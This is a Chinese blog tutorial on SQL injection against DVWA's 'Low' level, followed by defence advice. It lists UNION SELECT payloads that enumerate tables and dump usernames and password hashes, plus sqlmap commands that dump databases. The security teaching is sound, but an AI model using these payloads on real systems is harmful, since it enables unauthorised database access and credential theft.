当前位置: 首页 > news >正文

【DVWA系列】——SQL注入——low详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

    • 一、环境准备
    • 二、漏洞分析(Low级别)
    • 三、SQL注入攻击步骤
        • 1. 探测注入点
        • 2. 判断字段数
        • 3. 确定回显位置
        • 4. 获取数据库信息
        • 5. 获取表名
        • 6. 获取字段名(users表)
        • 7. 拖取用户数据
    • 四、防御建议
    • 五、总结
        • 提取关键信息
        • 自动化工具利用(sqlmap)
        • 1. 捕获请求
        • 2. sqlmap扫描命令
      • Low级别与其他级别防护对比

本文环境Security Level:low
以下是针对DVWA(Damn Vulnerable Web Application)中SQL注入漏洞在 Low安全级别下的详细教程,包含环境配置、漏洞原理、利用步骤及防御建议:


一、环境准备

1设置安全级别

  • 进入 DVWA Security → 选择 Security Level: Low → 点击 Submit

二、漏洞分析(Low级别)

  • 漏洞代码(查看源码路径:/vulnerabilities/view_source.php?id=sqli):
    $id = $_REQUEST['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
  • 问题:用户输入的$id直接嵌入SQL语句,攻击者可通过插入单引号')闭合原有语句,注入恶意代码。

三、SQL注入攻击步骤

1. 探测注入点
  • 输入'(英文单引号)
    响应:SQL语法报错(如You have an error in your SQL syntax...)→ 存在字符型注入。
    在这里插入图片描述
2. 判断字段数
  • 输入1' ORDER BY 2 # → 正常返回
    在这里插入图片描述

    输入1' ORDER BY 3 # → 报错

在这里插入图片描述
结论:原查询返回2个字段

3. 确定回显位置
  • 输入1' UNION SELECT 1,2 #
    响应:页面显示数字12 → 两个字段均可回显数据
    在这里插入图片描述
4. 获取数据库信息
  • 数据库名与版本
    1' UNION SELECT database(), version() #
    
    响应:显示数据库名(如dvwa)和MySQL版本。
    在这里插入图片描述
5. 获取表名
  • 输入
    1' UNION SELECT 1, group_concat(table_name) 
    FROM information_schema.tables 
    WHERE table_schema = database() #
    
    响应:返回表名(如guestbook, users)。
    在这里插入图片描述
6. 获取字段名(users表)
  • 输入
    1' UNION SELECT 1, group_concat(column_name) 
    FROM information_schema.columns 
    WHERE table_name = 'users' #
    
    响应:返回字段名(如user_id, user, password)。
    在这里插入图片描述
7. 拖取用户数据
  • 输入
    1' UNION SELECT user, password FROM users #
    
    响应:显示所有用户名及MD5加密的密码(如admin → 5f4dcc3b5aa765d61d8327deb882cf99)。
    在这里插入图片描述

四、防御建议

  1. 预处理语句(PDO)
    $stmt = $conn->prepare("SELECT first_name FROM users WHERE user_id = ?");
    $stmt->bind_param("i", $id);  // "i"表示整数类型
    $stmt->execute();
    
  2. 输入过滤
    • 数字型参数:if (is_numeric($_GET['id'])) { ... }
    • 字符型参数:使用mysqli_real_escape_string()转义单引号等特殊字符。
  3. 最小权限原则:数据库账户仅授予必要权限(如禁止DROP)。

五、总结

  • Low级别漏洞本质:未过滤用户输入,直接拼接SQL语句导致命令执行。
  • 攻击核心:通过UNION SELECT联合查询逐步获取数据库元数据及敏感信息。
  • 防御核心预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息Payload示例作用说明
数据库名与版本-1' UNION SELECT database(), version()#获取当前库名(如dvwa)及MySQL版本
所有表名-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#返回表名(如guestbook, users
users表字段名-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#返回字段名(如user, password
用户凭证数据-1' UNION SELECT user, password FROM users#获取用户名及MD5加密密码

自动化工具利用(sqlmap)
1. 捕获请求
  • 使用Burp Suite或浏览器开发者工具获取提交id=1时的HTTP请求(含Cookie)。
2. sqlmap扫描命令
sqlmap -u "http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="PHPSESSID=xxx; security=low" \--batch --dbs
  • 关键参数
    --dbs:列出所有数据库
    -D dvwa --tables:获取dvwa库的表
    -D dvwa -T users --dump:导出users表数据(自动破解弱口令MD5)。

Low级别与其他级别防护对比

安全级别输入方式防护措施绕过难度
Low文本框直接输入无过滤
Medium下拉菜单mysql_real_escape_string转义⭐⭐
High独立输入页Token校验 + LIMIT 1限制⭐⭐⭐
Impossible表单验证PDO预处理 + CSRF Token不可绕过

  • Low级别漏洞本质:用户输入直接拼接SQL语句,无过滤无转义。
  • 攻击核心:通过闭合单引号注入UNION SELECT联合查询,逐步获取数据库元信息及敏感数据。
  • 防御核心预处理语句是唯一根治方案,辅以输入验证与最小权限原则。

⚠️ 注:本教程仅用于教育目的,实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。


相关学习问题

  1. Medium级别如何绕过mysql_real_escape_string
    → 通过数字型注入十六进制编码绕过单引号过滤(如table_name=0x7573657273)。
  2. 布尔盲注与时间盲注在Low盲注模块的区别?
    → 布尔盲注依赖页面返回状态(存在/缺失),时间盲注通过SLEEP()函数观察响应延迟判断条件真伪。
  3. PDO预处理为何能彻底防御SQL注入?
    → PDO将用户输入视为数据参数而非SQL代码,从语法层面隔离指令与数据。

如需进一步实践,可参考:DVWA渗透测试实战指南|SQL注入防御最佳实践。

⚠️ 注:本教程仅用于安全学习。实际渗透测试需获得授权,避免非法攻击。

通过此教程,可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别,理解不同防护机制的绕过技巧。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.dtcms.com/a/251957.html

相关文章:

  • 【专业梳理】PMP知识体系,以SIPOC流程图为核心的质量工具扩展
  • 【保姆级开发文档】安卓开发四大组件及其生命周期详解
  • python profiling
  • DNS递归查询步骤
  • 盟接之桥EDI软件:开启制造业数据对接与协同的新纪元
  • https说明
  • 数据库核心技术深度剖析:事务、索引、锁与SQL优化实战指南(第五节)----数据库事务
  • anaconda安装及问题解决
  • 【LeetCode 207】课程表(有向无环图 DAG、拓扑排序)
  • 【Android】输入路由
  • 器件(九)—对设计的模块进行双脉冲仿真
  • 134-135Elements-UI组件库
  • 仿muduo库实现并发服务器
  • hot100 -- 13.堆系列
  • android CALL 之 RIL、TELEDCOM、PHONE
  • SpringCloud Alibaba场景实践(Nacos篇)
  • c++ algorithm常用算法汇总
  • 13分钟讲解主流Linux发行版
  • 数据库优化实战分享
  • 设备健康管理系统搭建全技术解析:从架构设计到智能运维实践
  • Flink CDC MySQL 时区相差 8 小时问题优雅解决方式
  • 华为OD机试-考勤信息-双指针(JAVA 2025B卷)
  • 第五章:执行计划分析 - 读懂MySQL的执行策略
  • Nginx 配置中·IP地址变量
  • leetcode148-排序链表
  • SimpleQtLogger 使用总结
  • Nginx全面深入学习目录
  • 我的JavaWeb软件开发作品学生信息管理系统项目/JavaWeb软件开发 课程考察标准
  • OmniMeetProTrack 全维会议链智能追录系统——山东大学软件学院创新实训项目博客(六)
  • 零基础学前端-传统前端开发(第四期-JS基础-语法,语句)